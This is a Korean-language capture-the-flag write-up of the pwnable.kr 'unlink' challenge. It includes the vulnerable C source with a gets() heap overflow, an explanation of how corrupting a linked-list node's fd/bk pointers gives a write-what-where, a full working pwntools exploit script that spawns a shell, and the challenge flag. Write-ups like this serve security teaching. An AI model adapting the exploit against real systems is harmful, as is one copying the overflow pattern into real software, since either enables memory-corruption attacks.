Pwnablekr_Toddlers Bottle_unlink


어떤 방어기법이 적용되어 있는지 확인했다. NX가 켜있으니 스택, 힙에 셸코드를 그냥 이용할 수는 없을 것 같다.
다음은 문제 소스코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}여기서 사용되는 tagOBJ 구조체는 malloc_chunk 구조체와 형태가 유사하다. 문제도 힙 unlink와 유사하게 풀 수 있다.
문제에서는 링크드리스트를 C - B - A 순서로 연결한다. 하지만 malloc을 호출한 순서는 A, B, C 순서이므로 A부터 더 낮은 주소에 할당되었다.
printf 함수로 문제를 푸는데 필요한 스택 주소를 릭해주고, gets(A->buf); 에서 힙에 입력값을 저장한다. 이 때 힙이 오버플로우될 수 있다. 이후 unlink(B); 를 호출하여 링크드리스트에서 B를 빼준다. 이 부분에서 문제가 생긴다.
힙 오버플로우를 이용하여 B의 B->bk와 B->fd 데이터를 조작할 수 있다. unlink함수에서 링크드리스트에서 B를 제거할 때 B의 앞뒤 노드를 연결하는 B->bk->fd = B->fd, B->fd->bk = B->bk 작업을 한다. B->bk와 B->fd가 조작되었으므로 B->bk->fd(조작한 주소)와 B->fd->bk(조작한 주소) 에 임의의 값을 쓸 수 있다.
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk; // B->bk 값 읽기(조작됨)
FD=P->fd; // B->fd 값 읽기(조작됨)
FD->bk=BK; // B->fd->bk(조작된 위치)에 BK(조작된 값) 저장
BK->fd=FD; // B->bk->fd(조작된 위치)에 FD(조작된 값) 저장
}32비트 프로그램이므로 B->bk->fd 는 (B->bk + 0) 로 접근하고, B->fd->bk는 (B->fd + 4) 로 접근한다.
즉, *B에(fd 위치) 메모리를 조작할 주소를 넣고 *(B+4)에(bk 위치) 덮어쓸 값을 준다면 그 값을 *(*B+4)에 쓸 수 있다.
하지만 반대로 *(*(B+4))에도 *B 값을 쓰기 때문에(양방향으로 노드를 연결하므로), *(B+4)가 쓰기가 가능한 위치여야 한다.
shell 함수를 실행시키기 위해서는 일단 리턴 주소를 조작할 필요가 있다. 스택 주소를 릭 해주기에 이는 가능하다. 하지만 리턴 주소에 단순히 PLT 주소나 코드 주소를 쓸 수는 없다. unlink에 의해 메모리에 쓰기 위해서는 코드가 있는 쪽, 즉 PLT나 코드에도 쓰기가 가능해야 하지만 이 위치에는 쓰기가 불가하기 때문이다.
이를 해결하기 위해 코드가 끼워져 있다. 디스어셈블을 통해 알 수 있다.
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
@> 0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
@> 0x08048602 <+211>: leave
@> 0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret lea esp, [ecx-0x4]를 통해 ebp-0x4 주소에 저장한 값에서 0x4만큼 뺀 값을 주소로 하여 esp에 저장해 준다. 즉, 리턴 주소를 적어줄 위치를 조작할 수 있다.
unlink를 이용하여 ebp-0x4위치에 쓰기 가능한 주소를 쓴다. 이는 힙 주소를 이용할 것이다. BOF를 통해 힙 주소-0x4 위치에 shell 함수 주소를 써 둔다. 이렇게 하면 쓰기 불가한 주소에 쓰기하지 않으면서 리턴 주소를 조작할 수 있다.
또한 고려할 점은 unlink에서 fd를 이용하는 쪽은 B->fd->bk = B->bk로, B->fd->bk를 변경한다는 점, 즉 (B->fd) +4 주소에 쓰기 한다는 점이다.
이를 정리하면 다음과 같다.

익스플로잇 코드의 흐름은 다음과 같다.
ebp-0x4주소를 얻는다. (스택 주소 계산)- esp를 보낼 주소를 얻는다. (힙 주소 계산)
shell함수를 호출하는 페이로드 작성 (unlink주소 조작 페이로드) :B->bk에ebp -0x4,B->fd에 힙 주소를 씀. 또한 해당힙주소-4위치에shell함수 주소가 있도록 함- BOF로 페이로드를 보냄
참고로 릭 해주는 A의 주소는 ebp-0x14이다. 스택 주소를 계산할 때 이에 유의한다. pwntools을 이용하여 페이로드를 짰다.
from pwn import *
elf = '/home/unlink/unlink'
binf = ELF(elf)
shelladdr = binf.symbols['shell']
info('shell addr is : %x' %shelladdr)
p = process(elf)
stackaddr = p.recvline()
stackaddr = stackaddr.split('0x')
stackaddr = int(stackaddr[1], 16) + 0x14 - 0x4
info('EBP-0x4 is : %x' %stackaddr)
heapaddr = p.recvline()
heapaddr = heapaddr.split('0x')
heapaddr = int(heapaddr[1], 16) +0xc
info('Heap addr is : %x' %heapaddr)
payload = p32(shelladdr) + 'A'*12 + p32(heapaddr) + p32(stackaddr)
p.sendline(payload)
p.interactive()
플래그는 conditional_write_what_where_from_unl1nk_explo1t 이다.
tags: writeup, pwnable, elf file, linux, c lang, x86asm, heap, unsafe unlink, memory corruption, heap overflow